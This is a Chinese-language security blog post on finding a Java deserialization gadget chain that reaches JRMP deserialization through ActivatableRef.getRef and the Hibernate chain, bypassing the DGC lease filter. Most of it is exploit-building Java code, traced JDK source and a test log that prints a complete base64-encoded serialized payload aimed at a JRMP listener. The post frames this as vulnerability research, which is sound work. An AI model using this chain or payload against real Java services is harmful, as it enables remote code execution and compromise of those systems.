N1ght https://www.n1ght.cn/images/logo.png 2025-12-01T10:56:58.133Z https://www.n1ght.cn/ N1ght Hexo 一次遗憾的java反序列化挖掘 https://www.n1ght.cn/2025/12/01/%E4%B8%80%E6%AC%A1%E9%81%97%E6%86%BE%E7%9A%84java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%8C%96%E6%8E%98/ 2025-12-01T10:00:00.000Z 2025-12-01T10:56:58.133Z 免责声明：

本文章内容仅供教育和学习使用，不得用于非法或有害目的。请在合法范围内应用网络安全知识，对任何因使用本文内容造成的损失，文章作者不承担责任。
文章作者博客地址为https://n1ght.cn/

正文

jdk版本（目前测试）：11.0.29，1.8.0_441

1
2
3
4
5
6
7
8
9
10
11
String host = "127.0.0.1";
int    port = 13999;
ObjID id2  = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te  = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class, Activator.class}, handler);
ActivationID activationID = new ActivationID((Activator) proxy);
ActivatableRef activatableRef =(ActivatableRef) utils.createWithoutConstructor("sun.rmi.server.ActivatableRef");
setFieldValue(activatableRef, "id", activationID);
Method method = ActivatableRef.class.getDeclaredMethod("getRef");

activatableRef调用getRef的时候，会触发jrmp反序列化

但是可惜，他是private方法，不像我们之前常用的TemplatesImpl，他的方法是public

所以我们无法去用jackson和fastjson去触发，在由于因为cb链子需要getPropertyBean，我们的ref是null值会触发空指针异常报错，rome链也是同理使用不了，所以说是一次遗憾的java反序列化挖掘，但是hibernate2反序列化，他什么都能调用，所以也就强行把这个链子接上了，故有了这篇文章

1
2
3
4
5
6
7
8
9
10
private synchronized RemoteRef getRef()
    throws RemoteException
{
    if (ref == null) {
        ref = activate(false);
    }

    return ref;
}

​UnicastRef反序列化为什么不行

走进UnicastRef​的readExternal会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
    public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
        TCPEndpoint var2;
        if (var1) {
            var2 = TCPEndpoint.read(var0);
        } else {
            var2 = TCPEndpoint.readHostPortFormat(var0);
        }

        ObjID var3 = ObjID.read(var0);
        boolean var4 = var0.readBoolean();
        LiveRef var5 = new LiveRef(var3, var2, false);
        if (var0 instanceof ConnectionInputStream) {
            ConnectionInputStream var6 = (ConnectionInputStream)var0;
            var6.saveRef(var5);
            if (var4) {
                var6.setAckNeeded();
            }
        } else {
            DGCClient.registerRefs(var2, Arrays.asList(var5));
        }

        return var5;
    }
//触发
    static void registerRefs(Endpoint var0, List<LiveRef> var1) {
        EndpointEntry var2;
        do {
            var2 = DGCClient.EndpointEntry.lookup(var0);
        } while(!var2.registerRefs(var1));

    }
//触发
    public boolean registerRefs(List<LiveRef> var1) {
            assert !Thread.holdsLock(this);

            HashSet var2 = null;
            long var3;
            synchronized(this) {
                if (this.removed) {
                    return false;
                }

                for(LiveRef var7 : var1) {
                    assert var7.getEndpoint().equals(this.endpoint);

                    RefEntry var8 = (RefEntry)this.refTable.get(var7);
                    if (var8 == null) {
                        LiveRef var9 = (LiveRef)var7.clone();
                        var8 = new RefEntry(var9);
                        this.refTable.put(var9, var8);
                        if (var2 == null) {
                            var2 = new HashSet(5);
                        }

                        var2.add(var8);
                    }

                    var8.addInstanceToRefSet(var7);
                }

                if (var2 == null) {
                    return true;
                }

                var2.addAll(this.invalidRefs);
                this.invalidRefs.clear();
                var3 = DGCClient.getNextSequenceNum();
            }

            this.makeDirtyCall(var2, var3);
            return true;
        }
//触发
        private void makeDirtyCall(Set<RefEntry> var1, long var2) {
            assert !Thread.holdsLock(this);

            ObjID[] var4;
            if (var1 != null) {
                var4 = createObjIDArray(var1);
            } else {
                var4 = DGCClient.emptyObjIDArray;
            }

            long var5 = System.currentTimeMillis();

            try {
                Lease var20 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGCClient.leaseValue));
.......
}
//触发
    public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
        try {
            StreamRemoteCall var5 = (StreamRemoteCall)this.ref.newCall(this, operations, 1, -669196253586618813L);
            var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);

            try {
                ObjectOutput var6 = var5.getOutputStream();
                var6.writeObject(var1);
                var6.writeLong(var2);
                var6.writeObject(var4);
            } catch (IOException var16) {
                throw new MarshalException("error marshalling arguments", var16);
            }

            this.ref.invoke(var5);
            Connection var7 = var5.getConnection();

            Lease var22;
            try {
                ObjectInput var8 = var5.getInputStream();
                var22 = (Lease)var8.readObject();
            } catch (IOException | ClassNotFoundException | ClassCastException var17) {
                if (var7 instanceof TCPConnection) {
                    ((TCPConnection)var7).getChannel().free(var7, false);
                }

                var5.discardPendingRefs();
                throw new UnmarshalException("error unmarshalling return", var17);
            } finally {
                this.ref.done(var5);
            }

            return var22;
        } catch (RuntimeException var19) {
            throw var19;
        } catch (RemoteException var20) {
            throw var20;
        } catch (Exception var21) {
            throw new UnexpectedException("undeclared checked exception", var21);
        }
    }

其中var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);这一行就是对DGC垃圾回收的限制

从而触发了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private static ObjectInputFilter.Status leaseFilter(ObjectInputFilter.FilterInfo var0) {
    if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) {
        return Status.REJECTED;
    } else {
        Class var1 = var0.serialClass();
        if (var1 == null) {
            return Status.UNDECIDED;
        } else {
            while(var1.isArray()) {
                if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) {
                    return Status.REJECTED;
                }

                var1 = var1.getComponentType();
            }

            if (var1.isPrimitive()) {
                return Status.ALLOWED;
            } else {
                return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;
            }
        }
    }
}

如何绕过

而我们这个sink，没有var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);这个行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
    private synchronized RemoteRef getRef() throws RemoteException {
        if (this.ref == null) {
            this.ref = this.activate(false);
        }

        return this.ref;
    }
//触发
    private RemoteRef activate(boolean var1) throws RemoteException {
        assert Thread.holdsLock(this);

        this.ref = null;

        try {
            Remote var2 = this.id.activate(var1);
            ActivatableRef var3 = null;
            if (var2 instanceof RemoteStub) {
                var3 = (ActivatableRef)((RemoteStub)var2).getRef();
            } else {
                RemoteObjectInvocationHandler var4 = (RemoteObjectInvocationHandler)Proxy.getInvocationHandler(var2);
                var3 = (ActivatableRef)var4.getRef();
            }

            this.ref = var3.ref;
            return this.ref;
        } catch (ConnectException var5) {
            throw new ConnectException("activation failed", var5);
        } catch (RemoteException var6) {
            throw new ConnectIOException("activation failed", var6);
        } catch (UnknownObjectException var7) {
            throw new NoSuchObjectException("object not registered");
        } catch (ActivationException var8) {
            throw new ActivateFailedException("activation failed", var8);
        }
    }
//触发
    public Remote activate(boolean force)//其中force为false
        throws ActivationException, UnknownObjectException, RemoteException
    {
        try {
            MarshalledObject<? extends Remote> mobj =
                activator.activate(this, force);
            return AccessController.doPrivileged(
                new PrivilegedExceptionAction<Remote>() {
                    public Remote run() throws IOException, ClassNotFoundException {
                        return mobj.get();
                    }
                }, NOPERMS_ACC);
        } catch (PrivilegedActionException pae) {
            Exception ex = pae.getException();
            if (ex instanceof RemoteException) {
                throw (RemoteException) ex;
            } else {
                throw new UnmarshalException("activation failed", ex);
            }
        }

    }
//触发
    public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable
    {
        if (! Proxy.isProxyClass(proxy.getClass())) {
            throw new IllegalArgumentException("not a proxy");
        }

        if (Proxy.getInvocationHandler(proxy) != this) {
            throw new IllegalArgumentException("handler mismatch");
        }

        if (method.getDeclaringClass() == Object.class) {
            return invokeObjectMethod(proxy, method, args);
        } else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
            !allowFinalizeInvocation) {
            return null; // ignore
        } else {
            return invokeRemoteMethod(proxy, method, args);
        }
    }
//触发
 private Object invokeRemoteMethod(Object proxy,
                                      Method method,
                                      Object[] args)
        throws Exception
    {
        try {
            if (!(proxy instanceof Remote)) {
                throw new IllegalArgumentException(
                    "proxy not Remote instance");
            }

            // Verify that the method is declared on an interface that extends Remote
            Class<?> decl = method.getDeclaringClass();
            if (!Remote.class.isAssignableFrom(decl)) {
                throw new RemoteException("Method is not Remote: " + decl + "::" + method);
            }

            return ref.invoke((Remote) proxy, method, args,
                              getMethodHash(method));
        } catch (Exception e) {
            if (!(e instanceof RuntimeException)) {
                Class<?> cl = proxy.getClass();
                try {
                    method = cl.getMethod(method.getName(),
                                          method.getParameterTypes());
                } catch (NoSuchMethodException nsme) {
                    throw (IllegalArgumentException)
                        new IllegalArgumentException().initCause(nsme);
                }
                Class<?> thrownType = e.getClass();
                for (Class<?> declaredType : method.getExceptionTypes()) {
                    if (declaredType.isAssignableFrom(thrownType)) {
                        throw e;
                    }
                }
                e = new UnexpectedException("unexpected exception", e);
            }
            throw e;
        }
    }
//触发
 public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception {
        if (clientRefLog.isLoggable(Log.VERBOSE)) {
            clientRefLog.log(Log.VERBOSE, "method: " + var2);
        }

        if (clientCallLog.isLoggable(Log.VERBOSE)) {
            this.logClientCall(var1, var2);
        }

        Connection var6 = this.ref.getChannel().newConnection();
        Object var7 = null;
        boolean var8 = true;
        boolean var9 = false;

        Object var11;
        try {
            if (clientRefLog.isLoggable(Log.VERBOSE)) {
                clientRefLog.log(Log.VERBOSE, "opnum = " + var4);
            }

            StreamRemoteCall var46 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);

            try {
                ObjectOutput var10 = var46.getOutputStream();
                this.marshalCustomCallData(var10);
                var11 = var2.getParameterTypes();

                for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
                    marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
                }
            } catch (IOException var39) {
                clientRefLog.log(Log.BRIEF, "IOException marshalling arguments: ", var39);
                throw new MarshalException("error marshalling arguments", var39);
            }

            var46.executeCall();
.......
   }

触发executeCall，后触发了readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public void executeCall() throws Exception {
      DGCAckHandler var2 = null;

      byte var1;
      try {
          if (this.out != null) {
              var2 = this.out.getDGCAckHandler();
          }

          this.releaseOutputStream();
          DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
          byte var4 = var3.readByte();
          if (var4 != 81) {
              if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                  Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
              }

              throw new UnmarshalException("Transport return code invalid");
          }

          this.getInputStream();
          var1 = this.in.readByte();
          this.in.readID();
      } catch (UnmarshalException var11) {
          throw var11;
      } catch (IOException var12) {
          throw new UnmarshalException("Error unmarshaling return header", var12);
      } finally {
          if (var2 != null) {
              var2.release();
          }

      }

      switch (var1) {
          case 1:
              return;
          case 2:
              Object var14;
              try {
                  var14 = this.in.readObject();

进行测试

触发日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
D:\Code\environment\jdk\jdk1.8.0_441\bin\java.exe "-javaagent:D:\Code\CodeEditor\IntelliJ IDEA 2025.2.2\lib\idea_rt.jar=63980" -Dfile.encoding=UTF-8 -classpath D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\charsets.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\deploy.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\access-bridge-64.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\cldrdata.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\dnsns.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\jaccess.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\jfxrt.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\localedata.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\nashorn.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\sunec.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\sunjce_provider.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\sunmscapi.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\sunpkcs11.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\ext\zipfs.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\javaws.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\jce.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\jfr.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\jfxswt.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\jsse.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\management-agent.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\plugin.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\resources.jar;D:\Code\environment\jdk\jdk1.8.0_441\jre\lib\rt.jar;E:\codeAudit\untitled1\target\classes;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-web\2.2.3.RELEASE\spring-boot-starter-web-2.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter\2.2.3.RELEASE\spring-boot-starter-2.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot\2.2.3.RELEASE\spring-boot-2.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-autoconfigure\2.2.3.RELEASE\spring-boot-autoconfigure-2.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-logging\2.2.3.RELEASE\spring-boot-starter-logging-2.2.3.RELEASE.jar;C:\Users\night\.m2\repository\ch\qos\logback\logback-classic\1.2.3\logback-classic-1.2.3.jar;C:\Users\night\.m2\repository\ch\qos\logback\logback-core\1.2.3\logback-core-1.2.3.jar;C:\Users\night\.m2\repository\org\slf4j\slf4j-api\1.7.25\slf4j-api-1.7.25.jar;C:\Users\night\.m2\repository\org\apache\logging\log4j\log4j-to-slf4j\2.12.1\log4j-to-slf4j-2.12.1.jar;C:\Users\night\.m2\repository\org\apache\logging\log4j\log4j-api\2.12.1\log4j-api-2.12.1.jar;C:\Users\night\.m2\repository\org\slf4j\jul-to-slf4j\1.7.30\jul-to-slf4j-1.7.30.jar;C:\Users\night\.m2\repository\jakarta\annotation\jakarta.annotation-api\1.3.5\jakarta.annotation-api-1.3.5.jar;C:\Users\night\.m2\repository\org\springframework\spring-core\5.2.3.RELEASE\spring-core-5.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-jcl\5.2.3.RELEASE\spring-jcl-5.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\yaml\snakeyaml\1.25\snakeyaml-1.25.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-json\2.2.3.RELEASE\spring-boot-starter-json-2.2.3.RELEASE.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\core\jackson-databind\2.10.2\jackson-databind-2.10.2.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\core\jackson-annotations\2.10.2\jackson-annotations-2.10.2.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\core\jackson-core\2.10.2\jackson-core-2.10.2.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\datatype\jackson-datatype-jdk8\2.10.2\jackson-datatype-jdk8-2.10.2.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\datatype\jackson-datatype-jsr310\2.10.2\jackson-datatype-jsr310-2.10.2.jar;C:\Users\night\.m2\repository\com\fasterxml\jackson\module\jackson-module-parameter-names\2.10.2\jackson-module-parameter-names-2.10.2.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-tomcat\2.2.3.RELEASE\spring-boot-starter-tomcat-2.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\apache\tomcat\embed\tomcat-embed-core\9.0.30\tomcat-embed-core-9.0.30.jar;C:\Users\night\.m2\repository\org\apache\tomcat\embed\tomcat-embed-el\9.0.30\tomcat-embed-el-9.0.30.jar;C:\Users\night\.m2\repository\org\apache\tomcat\embed\tomcat-embed-websocket\9.0.30\tomcat-embed-websocket-9.0.30.jar;C:\Users\night\.m2\repository\org\springframework\boot\spring-boot-starter-validation\2.2.3.RELEASE\spring-boot-starter-validation-2.2.3.RELEASE.jar;C:\Users\night\.m2\repository\jakarta\validation\jakarta.validation-api\2.0.2\jakarta.validation-api-2.0.2.jar;C:\Users\night\.m2\repository\org\hibernate\validator\hibernate-validator\6.0.18.Final\hibernate-validator-6.0.18.Final.jar;C:\Users\night\.m2\repository\org\springframework\spring-web\5.2.3.RELEASE\spring-web-5.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-beans\5.2.3.RELEASE\spring-beans-5.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-webmvc\5.2.3.RELEASE\spring-webmvc-5.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-aop\5.2.3.RELEASE\spring-aop-5.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-context\5.2.3.RELEASE\spring-context-5.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\springframework\spring-expression\5.2.3.RELEASE\spring-expression-5.2.3.RELEASE.jar;C:\Users\night\.m2\repository\org\javassist\javassist\3.28.0-GA\javassist-3.28.0-GA.jar;C:\Users\night\.m2\repository\commons-collections\commons-collections\3.2.1\commons-collections-3.2.1.jar;C:\Users\night\.m2\repository\commons-beanutils\commons-beanutils\1.9.3\commons-beanutils-1.9.3.jar;C:\Users\night\.m2\repository\commons-logging\commons-logging\1.2\commons-logging-1.2.jar;C:\Users\night\.m2\repository\org\hibernate\hibernate-core\5.6.15.Final\hibernate-core-5.6.15.Final.jar;C:\Users\night\.m2\repository\org\jboss\logging\jboss-logging\3.4.3.Final\jboss-logging-3.4.3.Final.jar;C:\Users\night\.m2\repository\javax\persistence\javax.persistence-api\2.2\javax.persistence-api-2.2.jar;C:\Users\night\.m2\repository\net\bytebuddy\byte-buddy\1.12.18\byte-buddy-1.12.18.jar;C:\Users\night\.m2\repository\antlr\antlr\2.7.7\antlr-2.7.7.jar;C:\Users\night\.m2\repository\org\jboss\spec\javax\transaction\jboss-transaction-api_1.2_spec\1.1.1.Final\jboss-transaction-api_1.2_spec-1.1.1.Final.jar;C:\Users\night\.m2\repository\org\jboss\jandex\2.4.2.Final\jandex-2.4.2.Final.jar;C:\Users\night\.m2\repository\com\fasterxml\classmate\1.5.1\classmate-1.5.1.jar;C:\Users\night\.m2\repository\javax\activation\javax.activation-api\1.2.0\javax.activation-api-1.2.0.jar;C:\Users\night\.m2\repository\org\hibernate\common\hibernate-commons-annotations\5.1.2.Final\hibernate-commons-annotations-5.1.2.Final.jar;C:\Users\night\.m2\repository\javax\xml\bind\jaxb-api\2.3.1\jaxb-api-2.3.1.jar;C:\Users\night\.m2\repository\org\glassfish\jaxb\jaxb-runtime\2.3.1\jaxb-runtime-2.3.1.jar;C:\Users\night\.m2\repository\org\glassfish\jaxb\txw2\2.3.1\txw2-2.3.1.jar;C:\Users\night\.m2\repository\com\sun\istack\istack-commons-runtime\3.0.7\istack-commons-runtime-3.0.7.jar;C:\Users\night\.m2\repository\org\jvnet\staxex\stax-ex\1.8\stax-ex-1.8.jar;C:\Users\night\.m2\repository\com\sun\xml\fastinfoset\FastInfoset\1.2.15\FastInfoset-1.2.15.jar;C:\Users\night\.m2\repository\com\caucho\hessian\4.0.66\hessian-4.0.66.jar;C:\Users\night\.m2\repository\rome\rome\1.0\rome-1.0.jar;C:\Users\night\.m2\repository\jdom\jdom\1.0\jdom-1.0.jar org.example.Main
18:16:44.334 [main] DEBUG org.jboss.logging - Logging Provider: org.jboss.logging.Log4j2LoggerProvider
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGXHO08ZYmxfcgIADVoAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0xvcmcvaGliZXJuYXRlL2VuZ2luZS9zcGkvQ2FzY2FkZVN0eWxlO0wAEWNvbXBvbmVudFR1cGxpemVydAAxTG9yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ABpMb3JnL2hpYmVybmF0ZS9FbnRpdHlNb2RlO1sAC2pvaW5lZEZldGNodAAaW0xvcmcvaGliZXJuYXRlL0ZldGNoTW9kZTtbAA1wcm9wZXJ0eU5hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sAE3Byb3BlcnR5TnVsbGFiaWxpdHl0AAJbWlsADXByb3BlcnR5VHlwZXN0ABpbTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAJltMb3JnL2hpYmVybmF0ZS90dXBsZS9WYWx1ZUdlbmVyYXRpb247eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXJFpSxstQ41AIAAHhwAAAAAAAAAXBwc3IAM29yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LlBvam9Db21wb25lbnRUdXBsaXplcsBwOcjTg59YAgAETAAOY29tcG9uZW50Q2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wACW9wdGltaXplcnQAMExvcmcvaGliZXJuYXRlL2J5dGVjb2RlL3NwaS9SZWZsZWN0aW9uT3B0aW1pemVyO0wADHBhcmVudEdldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hyADdvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5BYnN0cmFjdENvbXBvbmVudFR1cGxpemVy8vZxKVYnaN0CAAVaABJoYXNDdXN0b21BY2Nlc3NvcnNJAAxwcm9wZXJ0eVNwYW5bAAdnZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAIkxvcmcvaGliZXJuYXRlL3R1cGxlL0luc3RhbnRpYXRvcjtbAAdzZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hwAAAAAAB1cgA1W0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbDu/pSysWxHxpwIAAHhwAAAAAXNyAD1vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbCRTZXJpYWxGb3JtrFu2VsndG1gCAARMAA5jb250YWluZXJDbGFzc3EAfgATTAAOZGVjbGFyaW5nQ2xhc3NxAH4AE0wACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAxwcm9wZXJ0eU5hbWVxAH4AH3hwcHZyAB1zdW4ucm1pLnNlcnZlci5BY3RpdmF0YWJsZVJlZmkuOvZUvgduDAAAeHB0AAZnZXRSZWZwcHBwcHBwcHBwcHVyABpbTG9yZy5oaWJlcm5hdGUudHlwZS5UeXBlO36vq6HklWGaAgAAeHAAAAABcQB+ABFwc3EAfgAhc3IAIGphdmEucm1pLmFjdGl2YXRpb24uQWN0aXZhdGlvbklEwAq0Rj/brq0DAAB4cHNyABNqYXZhLnJtaS5zZXJ2ZXIuVUlEDxJwDb82TxICAANTAAVjb3VudEoABHRpbWVJAAZ1bmlxdWV4cIABAAABmtlqJa5TRK2mdzIAClVuaWNhc3RSZWYACTEyNy4wLjAuMQAANq8AAAAAW5eMuQAAAAAAAAAAAAAAAAAAAHh3AgAAeHQAA3h4eHg=
十二月 01, 2025 6:16:44 下午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class javax.naming.NamingException, array length: -1, nRefs: 2, depth: 1, bytes: 198, ex: n/a
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter - Setting default value: false
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter - Converting 'Boolean' value 'false' to type 'Boolean'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter -     No conversion required, value is already a Boolean
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter - Converting 'Integer' value '0' to type 'Byte'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter -     Converted to Byte value '0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter - Setting default value:  
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter - Converting 'Character' value ' ' to type 'Character'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter -     No conversion required, value is already a Character
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter - Converting 'Integer' value '0' to type 'Double'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter -     Converted to Double value '0.0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter - Converting 'Integer' value '0' to type 'Float'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter -     Converted to Float value '0.0'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter - Converting 'Integer' value '0' to type 'Integer'
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter -     No conversion required, value is already a Integer
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.LongConverter - Setting default value: 0
18:16:44.446 [main] DEBUG org.apache.commons.beanutils.converters.LongConverter - Converting 'Integer' value '0' to type 'Long'
